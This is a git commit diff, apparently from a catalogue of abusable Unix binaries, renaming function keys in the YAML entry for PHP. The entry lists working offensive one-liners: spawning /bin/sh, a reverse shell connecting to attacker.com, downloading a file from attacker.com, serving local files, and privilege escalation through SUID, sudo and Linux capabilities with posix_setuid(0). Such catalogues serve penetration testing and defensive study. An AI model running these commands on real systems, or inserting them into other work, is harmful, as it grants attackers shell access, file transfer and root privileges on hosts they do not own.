Adopt new function names

This commit is contained in:
Emilio Pinna
2018-10-05 18:55:38 +01:00
parent 1c77f099d3
commit dd337b5ddf
110 changed files with 354 additions and 354 deletions

View File

@@ -1,6 +1,6 @@
---
functions:
execute-interactive:
shell:
- code: |
export CMD="/bin/sh"
php -r 'system(getenv("CMD"));'
@@ -16,37 +16,37 @@ functions:
- code: |
export CMD="/bin/sh"
php -r '$h=@popen(getenv("CMD"),"r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
execute-non-interactive:
command:
- code: |
export CMD="id"
php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open(getenv("CMD"), $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'
reverse-shell-interactive:
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&3 >&3 2>&3");'
upload:
file-upload:
- description: Serve files in the local folder running an HTTP server. This requires PHP version 5.4 or later.
code: |
LHOST=0.0.0.0
LPORT=8888
php -S $LHOST:$LPORT
download:
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'
suid-enabled:
suid:
- code: |
CMD="/bin/sh"
./php -r "system('$CMD');"
sudo-enabled:
sudo:
- code: |
CMD="/bin/sh"
sudo php -r "system('$CMD');"
capabilities-enabled:
capabilities:
- code: |
CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"